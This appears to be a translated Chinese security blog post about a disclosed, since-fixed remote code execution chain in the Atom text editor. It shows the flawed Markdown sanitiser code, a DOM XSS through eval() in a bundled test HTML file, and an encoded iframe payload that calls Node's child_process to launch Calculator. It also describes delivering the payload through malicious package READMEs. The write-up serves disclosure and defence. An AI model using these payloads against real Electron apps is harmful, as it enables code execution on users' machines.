看我如何利用Atom编辑器的漏洞实现远程代码执行
作者:admin | 时间:2017-12-2 01:10:10 | 分类:黑客技术 隐藏侧边栏展开侧边栏
前不久,我研究了一下GitHub的文本编辑器(Atom),并且在Atom中找到了好几个安全。经过了一段时间的分析和研究之后我发现,这些漏洞将允许攻击者在目标用户的设备上实现远程代码执行。
我发现了这些漏洞之后,便立刻通过HackerOne将漏洞上报给了Atom,相关问题目前已经在2017年10月12日发布的Atom v1.21.1中成功修复。如果各位同学想深入研究或者复现漏洞的话,可以从【这里】获取GitHub提供的旧版本代码。
Web端的安全问题传染给了桌面端App
Atom是一款基于跨平台框架Electron(基于JavaScript、HTML和CSS)开发的文本编辑器,而Electron是一种用来开发桌面应用的工具。
但是,这种框架却将自身存在的Web端安全缺陷传染给了桌面端应用,即跨站脚本漏洞(XSS)。这种应用程序是通过JavaScript实现的,如果其中存在XSS漏洞,那么就有可能导致攻击者实现任意代码执行。
当然了,我们现在也有很多方法来缓解Electron中的XSS所带来的影响,但如果解决方案部署不当,那么攻击者仍然可以轻松实现攻击。
通过CSP来对付XSS
在正式开始介绍漏洞之前,先了解一下GitHub是如何解决这些XSS问题的。你没猜错,GitHub使用的就是内容安全策略(CSP)。请大家打开Atom的index.html文件,然后你就会看到如下所示的部署策略:
<!DOCTYPE html> <html> <head> <meta http-equiv="Content-Security-Policy"content="default-src * atom://*; img-src blob: data: * atom://*;script-src 'self' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; media-srcblob: data: mediastream: * atom://*;"> <script src="index.js"></script> </head> <body tabindex="-1"></body> </html>
注意其中的script-src ‘self’ ‘unsafe-eval’,它允许运行同源的JavaScript代码以及使用eval()构建的代码,但是禁止内联JavaScript运行。
也就是说,在下面的例子中,只有“index.js”里面的JavaScript代码可以被执行,而alert(1)无法运行,因为它属于内联JavaScript:
<!DOCTYPE html> <html> <head> <meta http-equiv="Content-Security-Policy"content="default-src * atom://*; img-src blob: data: * atom://*;script-src 'self' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; media-srcblob: data: mediastream: * atom://*;"> </head> <!-- Following line will be executed since it is JS embedded from thesame origin --> <script src="index.js"></script> <!-- Following line will not be executed since it is inlineJavaScript --> <script>alert(1)</script> </html>
Atom如何解析Markdown文件
如果你面对的是包含解析器或者预览功能的软件,我建议你先去研究一下组成这些软件的第三方组件。一般来说,软件的解析库使用的都是第三方组件,而软件在部署这些组件的时候很有可能会引入新的安全问题。因为组件的开发者跟使用者可能想不到一起去,比如说,开发者默认会认为程序提供给组件的肯定是安全的数据,而组件的使用者可能会认为组件会帮他们对不安全的数据进行过滤,这下可就麻烦了。
那么接下来,我首先要跟大家分析一下Atom是如何解析Markdown文件的,相关代码可以在GitHub的atom/markdown-preview中找到。
通过分析发现,Markdown解析器貌似还可以解析HTML文件:
于是我便尝试注入了一段简单的JavaScript代码来判断Markdown代码库是否会过滤掉JavaScript代码。虽然内容安全策略可以防止JavaScript代码运行,但我现在只想弄清楚代码库是否能够进行最基本的数据过滤。而事实证明,它可以。如下图所示,我们注入的script语句并没有显示在DOM之中:
搜索了相关信息之后,我发现这种功能(Markdown解析任意HTML文档)实际上是他们故意这样设计的。因此,Markdown代码库才引入了这种数据清洗模式,即一种自定义的数据过滤功能,相关代码如下:
虽然这种数据过滤功能很弱,但我们依然不能使用各种on-listener来实现绕过,因为这样可能会违反CSP,并导致恶意Payload无法运行。
但是,我们可以尝试注入其他类型的HTML Payload,请大家仔细看刚才那张截图:
很明显,Atom的运行使用的是file:// 协议,如果我们可以创建一个恶意HTML文件并将其嵌入到本地文件中,那该文件是否会被视作是Electron本地文件(符合同源策略)所提供的呢?而此时我们的JavaScript代码有可能将会被执行。
于是我在Home目录中创建了一个名叫hacked.html的文件,文件内容如下:
sanitize = (html) -> o = cheerio.load(html)
o('script').remove()
attributesToRemove = [
'onabort' 'onblur' 'onchange' 'onclick' 'ondbclick' 'onerror' 'onfocus' 'onkeydown' 'onkeypress' 'onkeyup' 'onload' 'onmousedown' 'onmousemove' 'onmouseover' 'onmouseout' 'onmouseup' 'onreset' 'onresize' 'onscroll' 'onselect' 'onsubmit' 'onunload' ]
o('*').removeAttr(attribute) for attribute inattributesToRemove
o.html()
<script>
alert(1);
</script>
接下来,我只需要在Markdown文档中使用<iframe>即可成功触发JavaScript:
结合本地DOM XSS
我现在还无法执行任意JavaScript代码,因为这里还有一个问题:利用这个漏洞需要用户与恶意文档进行交互:
1. 用户要主动打开恶意Markdown文档;
2. 用户要开启Markdown文档的预览视图;
3. 恶意Markdown文档还需要另一个包含有恶意JavaScript代码的本地HTML文件;
在真实的攻击场景中,上述条件就很难满足了。但是,如果我们能找到某个包含DOM XSS的本地文件,那就简单多了,而且更适用于真实的攻击活动。
所以,我打算对Atom Bundle中的HTML文件进行分析。幸运的是,我使用的是macOS系统,所以我可以直接在/Applications/Atom.app/Contents目录中查看到Atom bundle文件:
快速搜索之后,我在bundle中找到了如下的HTML文件:
➜ Contents find . -iname”*.html”
./Resources/app/apm/node_modules/mute-stream/coverage/lcov-report/index.html
./Resources/app/apm/node_modules/mute-stream/coverage/lcov-report/__root__/index.html
./Resources/app/apm/node_modules/mute-stream/coverage/lcov-report/__root__/mute.js.html
./Resources/app/apm/node_modules/clone/test-apart-ctx.html
./Resources/app/apm/node_modules/clone/test.html
./Resources/app/apm/node_modules/colors/example.html
./Resources/app/apm/node_modules/npm/node_modules/request/node_modules/http-signature/node_modules/sshpk/node_modules/jsbn/example.html
./Resources/app/apm/node_modules/jsbn/example.html
接下来,你可以选择对HTML文件进行静态分析或手动分析。由于文件不多,所以我选择直接进行手动分析,而文件/Applications/Atom.app/Contents/Resources/app/apm/node_modules/clone/test-apart-ctx.html成功吸引了我的注意:
<html>
<head>
<meta charset="utf-8">
<title>Clone Test-Suite (Browser)</title>
</head>
<body>
<script>
var data = document.location.search.substr(1).split('&');
try {
ctx = parent[data[0]];
eval(decodeURIComponent(data[1]));
window.results = results;
} catch(e) {
var extra = '';
if (e.name == 'SecurityError')
extra = 'This test suite needs to be run on an http server.';
alert('Apart Context iFrame Error\n' + e + '\n\n' + extra);
throw e;
}
</script>
</body>
</html>
上述代码在document.location.search调用了eval(),而Atom的内容安全策略是允许使用eval()的,所以我们只需要使用如下所示的语句就能够触发弹窗:
file:///Applications/Atom.app/Contents/Resources/app/apm/node_modules/clone/test-apart-ctx.html?foo&alert(1)
实际上,我们还可以使用下面这种Markdown文档就能够执行任意JavaScript代码:
<iframesrc="file:///Applications/Atom.app/Contents/Resources/app/apm/node_modules/clone/test-apart-ctx.html?foo&alert(1)"></iframe>
执行任意本地代码
正如之前所说的,如果你想在一个Electron应用中执行恶意JavaScript代码,也就意味着你需要实现本地代码执行。最简单的实现方法就是访问window.top对象,然后使用require函数(NodeJS)来访问child_process模块。下面给出的JavaScript代码将能够打开macOS的计算器程序(Calculator.app):
<scripttype="text/javascript">
window.top.require('child_process').execFile('/Applications/Calculator.app/Contents/MacOS/Calculator',function(){});
</script>
在对上述的漏洞利用代码进行URL编码后得到的代码如下:
<iframesrc="file:///Applications/Atom.app/Contents/Resources/app/apm/node_modules/clone/test-apart-ctx.html?foo&%77%69%6e%64%6f%77%2e%74%6f%70%2e%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%46%69%6c%65%28%27%2f%41%70%70%6c%69%63%61%74%69%6f%6e%73%2f%43%61%6c%63%75%6c%61%74%6f%72%2e%61%70%70%2f%43%6f%6e%74%65%6e%74%73%2f%4d%61%63%4f%53%2f%43%61%6c%63%75%6c%61%74%6f%72%27%2c%66%75%6e%63%74%69%6f%6e%28%29%7b%7d%29%3b%0a"></iframe>
当目标用户打开恶意Markdown文档之后,Calculator.app将会被运行:
实现远程攻击
虽然上述方法可以成功触发漏洞,但我们仍然需要目标用户手动打开恶意Markdown文档。但需要注意的是,这可不是Atom唯一能够呈现Markdown文档内容的地方。
使用grep命令搜索了Atom的源码之后,我又发现了一个能够解析Markdown文件的模块,即atom/settings-view。实际上,这个模块所采用的数据清洗策略也同样存在安全问题,代码如下:
const ATTRIBUTES_TO_REMOVE = [
'onabort',
'onblur',
'onchange',
'onclick',
'ondbclick',
'onerror',
'onfocus',
'onkeydown',
'onkeypress',
'onkeyup',
'onload',
'onmousedown',
'onmousemove',
'onmouseover',
'onmouseout',
'onmouseup',
'onreset',
'onresize',
'onscroll',
'onselect',
'onsubmit',
'onunload'
]
function sanitize (html) {
const temporaryContainer = document.createElement('div')
temporaryContainer.innerHTML = html
for(const script of temporaryContainer.querySelectorAll('script')) {
script.remove()
}
for(const element of temporaryContainer.querySelectorAll('*')) {
for (const attribute of ATTRIBUTES_TO_REMOVE) {
element.removeAttribute(attribute)
}
}
for(const checkbox oftemporaryContainer.querySelectorAll('input[type="checkbox"]')) {
checkbox.setAttribute('disabled',true)
}
return temporaryContainer.innerHTML
}
Atom还支持使用第三方Package,这些Package基本上都是社区人员开发和提供的,具体可参考atom.io/packages。关键之处在于,这些Package可以通过Markdown格式来定义README文档,而README文档的内容将会在Atom设置窗口中呈现给用户。
因此,恶意攻击者只需要已各种包名注册大量的恶意Package(利用社工技术,包名可以跟现有的第三方包名类似),只要目标用户点击了这个包名(无需安装Package),那么嵌入在README文档中的恶意代码就能够被执行。
如何修复这些安全漏洞
为了修复这些安全问题,我们跟GitHub的开发人员进行了交流,并最终设计出了如下所示的漏洞缓解方案:
1. 删除bundle中多余的HTML文件
2. 使用DOMPurify对Markdown文档的内容进行数据清洗
虽然这种解决方案只是暂时的,但对于目前来讲也已经足够了。与此同时,GitHub也准备引入一种规则更加严格的Markdown解析器,但是这很有可能会对很多现有用户的工作流程产生影响。
* 参考来源:statuscode,FB小编Alpha_h4ck编译